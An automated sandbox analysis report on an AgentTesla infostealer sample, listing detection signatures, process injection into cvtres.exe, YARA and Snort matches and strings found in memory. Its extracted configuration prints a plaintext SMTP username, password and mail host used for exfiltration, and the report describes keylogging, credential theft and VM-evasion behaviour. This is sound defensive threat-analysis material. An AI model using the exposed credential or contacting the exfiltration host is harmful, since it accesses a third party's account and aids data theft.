Edit tour

Windows Analysis Report
SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.9881

Overview

General Information

Sample Name:	SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.9881 (renamed file extension from 9881 to exe)
Analysis ID:	671866
MD5:	06479be352128f527656809d8a2e1943
SHA1:	e5ae7ebeebcab238b19595981b06c44fd4cb455d
SHA256:	a9e441722bbaab6eb53c633f5a6e54a0a51ee2c540ab0bf34b78582c3a9ad5a8
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Snort IDS alert for network traffic

Installs a global keyboard hook

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

.NET source code references suspicious native API functions

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

PE file contains strange resources

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses SMTP (mail sending)

Creates a window with clipboard capturing capabilities

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe (PID: 6912 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe" MD5: 06479BE352128F527656809D8A2E1943)

cvtres.exe (PID: 7012 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe MD5: C09985AE74F0882F208D75DE27770DFA)

cvtres.exe (PID: 7028 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe MD5: C09985AE74F0882F208D75DE27770DFA)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Username": "facturare@rematinvest.ro", "Password": "RyN!2020-", "Host": "mail.rematinvest.ro"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000000.429466512.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.429466512.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000002.688515843.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.688515843.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000000.428206053.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.428206053.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000000.428807538.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.428807538.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000000.428533310.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000000.428533310.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000004.00000002.690509343.0000000007018000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.433445075.00000000048BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.433445075.00000000048BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Process Memory Space: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe PID: 6912	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: cvtres.exe PID: 7028	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: cvtres.exe PID: 7028	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.0.cvtres.exe.400000.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.3.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32784:$s10: logins 0x321eb:$s11: credential 0x2e7d5:$g1: get_Clipboard 0x2e7e3:$g2: get_Keyboard 0x2e7f0:$g3: get_Password 0x2faf2:$g4: get_CtrlKeyDown 0x2fb02:$g5: get_ShiftKeyDown 0x2fb13:$g6: get_AltKeyDown
4.0.cvtres.exe.400000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.2.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32784:$s10: logins 0x321eb:$s11: credential 0x2e7d5:$g1: get_Clipboard 0x2e7e3:$g2: get_Keyboard 0x2e7f0:$g3: get_Password 0x2faf2:$g4: get_CtrlKeyDown 0x2fb02:$g5: get_ShiftKeyDown 0x2fb13:$g6: get_AltKeyDown
4.2.cvtres.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.cvtres.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.2.cvtres.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32784:$s10: logins 0x321eb:$s11: credential 0x2e7d5:$g1: get_Clipboard 0x2e7e3:$g2: get_Keyboard 0x2e7f0:$g3: get_Password 0x2faf2:$g4: get_CtrlKeyDown 0x2fb02:$g5: get_ShiftKeyDown 0x2fb13:$g6: get_AltKeyDown
1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30984:$s10: logins 0x303eb:$s11: credential 0x2c9d5:$g1: get_Clipboard 0x2c9e3:$g2: get_Keyboard 0x2c9f0:$g3: get_Password 0x2dcf2:$g4: get_CtrlKeyDown 0x2dd02:$g5: get_ShiftKeyDown 0x2dd13:$g6: get_AltKeyDown
4.0.cvtres.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.4.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32784:$s10: logins 0x321eb:$s11: credential 0x2e7d5:$g1: get_Clipboard 0x2e7e3:$g2: get_Keyboard 0x2e7f0:$g3: get_Password 0x2faf2:$g4: get_CtrlKeyDown 0x2fb02:$g5: get_ShiftKeyDown 0x2fb13:$g6: get_AltKeyDown
4.0.cvtres.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32784:$s10: logins 0x321eb:$s11: credential 0x2e7d5:$g1: get_Clipboard 0x2e7e3:$g2: get_Keyboard 0x2e7f0:$g3: get_Password 0x2faf2:$g4: get_CtrlKeyDown 0x2fb02:$g5: get_ShiftKeyDown 0x2fb13:$g6: get_AltKeyDown
4.0.cvtres.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
4.0.cvtres.exe.400000.1.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32784:$s10: logins 0x321eb:$s11: credential 0x2e7d5:$g1: get_Clipboard 0x2e7e3:$g2: get_Keyboard 0x2e7f0:$g3: get_Password 0x2faf2:$g4: get_CtrlKeyDown 0x2fb02:$g5: get_ShiftKeyDown 0x2fb13:$g6: get_AltKeyDown
1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32784:$s10: logins 0x667a4:$s10: logins 0x321eb:$s11: credential 0x6620b:$s11: credential 0x2e7d5:$g1: get_Clipboard 0x627f5:$g1: get_Clipboard 0x2e7e3:$g2: get_Keyboard 0x62803:$g2: get_Keyboard 0x2e7f0:$g3: get_Password 0x62810:$g3: get_Password 0x2faf2:$g4: get_CtrlKeyDown 0x63b12:$g4: get_CtrlKeyDown 0x2fb02:$g5: get_ShiftKeyDown 0x63b22:$g5: get_ShiftKeyDown 0x2fb13:$g6: get_AltKeyDown 0x63b33:$g6: get_AltKeyDown
Click to see the 19 entries

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 109.99.162.14

Timestamp:	192.168.2.5109.99.162.14497755872851779 07/22/22-19:36:28.834857
SID:	2851779
Source Port:	49775
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 109.99.162.14

Timestamp:	192.168.2.5109.99.162.14497755872030171 07/22/22-19:36:28.834742
SID:	2030171
Source Port:	49775
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 109.99.162.14

Timestamp:	192.168.2.5109.99.162.14497755872840032 07/22/22-19:36:28.834857
SID:	2840032
Source Port:	49775
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Virustotal: Detection: 38%			Perma Link
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	ReversingLabs: Detection: 30%

Machine Learning detection for sample

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Joe Sandbox ML: detected

Source: 4.0.cvtres.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.cvtres.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.2.cvtres.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.cvtres.exe.400000.2.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.cvtres.exe.400000.3.unpack	Avira: Label: TR/Spy.Gen8
Source: 4.0.cvtres.exe.400000.1.unpack	Avira: Label: TR/Spy.Gen8

Source: 4.0.cvtres.exe.400000.4.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Username": "facturare@rematinvest.ro", "Password": "RyN!2020-", "Host": "mail.rematinvest.ro"}

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: NBCBNCXHJKDJHD23442.pdbD source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
Source:	Binary string: NBCBNCXHJKDJHD23442.pdb source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	1_2_014AC902
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	1_2_014A6820
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	1_2_014AD3CC
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	1_2_014AD3D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	1_2_014AD79D
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	1_2_014AD7A8

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49775 -> 109.99.162.14:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49775 -> 109.99.162.14:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49775 -> 109.99.162.14:587

Source: Joe Sandbox View

ASN Name: RTDBucharestRomaniaRO RTDBucharestRomaniaRO

Source: global traffic

TCP traffic: 192.168.2.5:49775 -> 109.99.162.14:587

Source: global traffic

TCP traffic: 192.168.2.5:49775 -> 109.99.162.14:587

Source: cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://NKVjVb.com
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: cvtres.exe, 00000004.00000002.690948171.00000000070A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.rematinvest.ro
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: cvtres.exe, 00000004.00000002.690948171.00000000070A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rematinvest.ro
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org%
Source: cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org%%startupfolder%
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

DNS traffic detected: queries for: mail.rematinvest.ro

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Jump to behavior

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, 00000001.00000002.430657010.000000000123B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 4.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 4.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 4.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 4.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 4.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen

.NET source code contains very large array initializations

Source: 4.0.cvtres.exe.400000.4.unpack, u003cPrivateImplementationDetailsu003eu007b981CEEEFu002d4B38u002d43ACu002d9478u002d1F4F4963991Cu007d/u0038654F4E6u002dC851u002d420Eu002d862Fu002d7C681F2A7AF8.cs	Large array initialization: .cctor: array initializer size 11645
Source: 4.0.cvtres.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b981CEEEFu002d4B38u002d43ACu002d9478u002d1F4F4963991Cu007d/u0038654F4E6u002dC851u002d420Eu002d862Fu002d7C681F2A7AF8.cs	Large array initialization: .cctor: array initializer size 11645
Source: 4.0.cvtres.exe.400000.2.unpack, u003cPrivateImplementationDetailsu003eu007b981CEEEFu002d4B38u002d43ACu002d9478u002d1F4F4963991Cu007d/u0038654F4E6u002dC851u002d420Eu002d862Fu002d7C681F2A7AF8.cs	Large array initialization: .cctor: array initializer size 11645
Source: 4.0.cvtres.exe.400000.3.unpack, u003cPrivateImplementationDetailsu003eu007b981CEEEFu002d4B38u002d43ACu002d9478u002d1F4F4963991Cu007d/u0038654F4E6u002dC851u002d420Eu002d862Fu002d7C681F2A7AF8.cs	Large array initialization: .cctor: array initializer size 11645
Source: 4.0.cvtres.exe.400000.1.unpack, u003cPrivateImplementationDetailsu003eu007b981CEEEFu002d4B38u002d43ACu002d9478u002d1F4F4963991Cu007d/u0038654F4E6u002dC851u002d420Eu002d862Fu002d7C681F2A7AF8.cs	Large array initialization: .cctor: array initializer size 11645

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 4.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 4.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 4.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 4.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 4.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 4.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A3530	1_2_014A3530
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A25FA	1_2_014A25FA
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A1370	1_2_014A1370
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A1BB8	1_2_014A1BB8
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A9E78	1_2_014A9E78
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A6EC0	1_2_014A6EC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A8AF0	1_2_014A8AF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014ADAB8	1_2_014ADAB8
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014ABEB4	1_2_014ABEB4
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A896F	1_2_014A896F
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A79A9	1_2_014A79A9
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A0448	1_2_014A0448
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A6C61	1_2_014A6C61
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A040F	1_2_014A040F
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A3430	1_2_014A3430
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A4F58	1_2_014A4F58
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A4F68	1_2_014A4F68
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A1328	1_2_014A1328
